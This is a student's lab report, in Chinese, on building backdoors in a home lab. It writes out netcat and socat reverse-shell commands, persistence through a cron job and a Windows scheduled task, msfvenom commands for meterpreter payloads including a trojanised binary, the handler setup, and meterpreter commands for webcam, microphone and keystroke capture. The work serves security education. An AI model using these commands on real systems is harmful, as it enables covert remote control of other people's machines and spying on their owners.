20164305 徐廣皓 Exp2 後門原理與實踐

實驗內容

  • (1)使用netcat獲取主機操做Shell,cron啓動
  • (2)使用socat獲取主機操做Shell, 任務計劃啓動
  • (3)使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell
  • (4)使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權
  • (5)可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell。加份內容一併寫入本實驗報告。

實驗環境

  • Windows主機IP:192.168.6.144
  • Linux虛擬機IP:192.168.80.129

實驗工具linux

  • netcat。在linux下叫ncat,kali機自帶,windows7/10中,需下載,可直接使用。
  • socat。netcat的加強版。安裝方法同上。
  • meterpreter。kali機自帶,只在kali中用

實驗步驟web

1.使用netcat獲取主機操做Shellshell

(1)Windows爲攻擊方vim

  • win中使用ncat監聽4305端口:ncat.exe -l -p 4305
  • Linux中輸入指令:nc 192.168.6.144 4305 -e /bin/sh 反彈鏈接Windows(指令中的ip地址需爲Windows ip)

(2)Linux爲攻擊方windows

  • 在Linux中監聽4316端口:nc -l -p 4305
  • 在Windows輸入指令 ncat.exe -e cmd.exe 192.168.80.129 4305 反彈鏈接Linux的4305端口(指令中的ip地址需爲Linux ip)

2.使用netcat獲取主機操做Shell,cron啓動 安全

        cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務相似,當安裝完成操做系統後,默認會安裝此服務 工具,而且會自動啓動cron進程,cron進程每分鐘會按期檢查是否有要執行的任務,若是有要執行的任務,則自動執行該任務。tcp

        crontab文件的含義:編輯器

        用戶所創建的crontab文件中,每一行都表明一項任務,每行的每一個字段表明一項設置,它的格式共分爲六個字段,前五段是時間設定段,第六段是要執行的命令段,格式以下:minute hour day month week command工具

      (1)用 crontab -e 指令編輯定時任務,選擇3,也就是基本的vim編輯器(1也能夠),vim編輯器中用 i 改成插入模式,在最後一行插入 59 * * * * /bin/netcat 192.168.6.144 4305 -e /bin/sh ,而後輸入 wq! 保存並退出,上述指令表示天天每時的59分,都會反向鏈接Windows本機的4305端口,就會啓動cron網站

(2)在59分時輸入ls,發現corn啓動

3.使用socat獲取主機操做Shell, 任務計劃啓動

     socatncat的加強版,socat的基本功能就是創建兩個雙向的字節流,數據就在其間傳輸,參數address就是表明了其中的一個方向。做爲一款雙向數據流通道工具,它擁有許多強大的功能:端口的鏈接、端口偵聽、收發文件、傳遞shell、端口轉發、端口掃描等。

    (1)右鍵開始菜單,選擇計算機管理,點擊任務管理計劃庫「建立任務」,填寫任務名稱,新建一個觸發器。同時建立新操做,在操做->程序或腳本中選擇 socat.exe 文件的路徑,在添加參數一欄填寫  tcp-listen:4305 exec:cmd.exe,pty,stderr  ,這個命令的做用是把cmd.exe綁定到端口4305,同時把cmd.exe的stderr重定向到stdout上

 

(2)按快捷鍵win+L即能鎖定計算機,建立的任務開始運行。此時在Linux中輸入指令 socat - tcp:192.168.6.144:4305 ,發現成功得到了cmd.exe,可以輸入Windows的命令

 

3.使用MSF meterpreter生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

(1)Linux中輸入指令生成後門程序(反彈連接地址應爲Linux地址,部分上屆博客存在錯誤),並使用ncat傳輸已經生成的20164305.exe程序文件。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -f exe > 20164305.exe
ncat.exe -lv 4305 > 20164305.exe
nc 192.168.6.144 4305< 20164305.exe

(2)在Linux中輸入指令msfconsole,進入msf命令行,msf啓動監聽前須要進行一些設置

1 use exploit/multi/handler    
2 set payload windows/x64/meterpreter/reverse_tcp  
3 show options  
4 set LHOST 192.168.80.129  
5 set LPORT 4305
6 exploit 

(3)啓動監聽後再在win中運行後門程序,此時Linux上已經得到了Windows主機的鏈接,而且獲得了遠程控制的shell,可以輸入Windows中的命令。

4.使用MSF meterpreter生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權 

record_mic//截獲音頻
webcam_snap//使用攝像頭
screenshot//進行截屏
keyscan_start//記錄下擊鍵的過程
keyscan_dump//讀取擊鍵的記錄

5.可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

(1)按照正常思路,先利用msf生成shellcode代碼(直接貼圖了)

(2)而後按實驗一中的步驟肯定緩衝區臨界點位置,而後將數據注入

(3)按第三部進行監聽,而後就變成了一直等待

(4)通過查找msfvenom的指令手冊,結合其餘同窗作法更改後門生成代碼方式爲 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.80.129 LPORT=4305 -x /home+/pwn1 -f elf > pwn2 ,結果就成功了????(先把博客寫了,而後去看看pwn2與我本身構造的區別)

 

 (5)我又嘗試將生成的c代碼放到c語言程序中編譯,發現編譯後的exe也能夠做爲後門(只不過 殺軟後就被自動清除了o(╥﹏╥)o)

實驗基礎問題回答:

  (1)例舉你能想到的一個後門進入到你係統中的可能方式?

  答:經過訪問釣魚網站,自動下載。

  (2)例舉你知道的後門如何啓動起來(win及linux)的方式?

  答:與其餘軟件進行捆綁,同時啓動。

  (3)Meterpreter有哪些給你映像深入的功能?

  答:能提高權限(這就有點無敵了.......).

  (4)如何發現本身有系統有沒有被安裝後門?

  答:藉助外界軟件,例如360安全軟件和防火牆,或者查看任務管理器,禁用不認識的後臺。

實驗收穫

        後門頗有趣,要在研究一下msfvenom是怎麼把shellcode注入pwn1裏的。

相關文章
相關標籤/搜索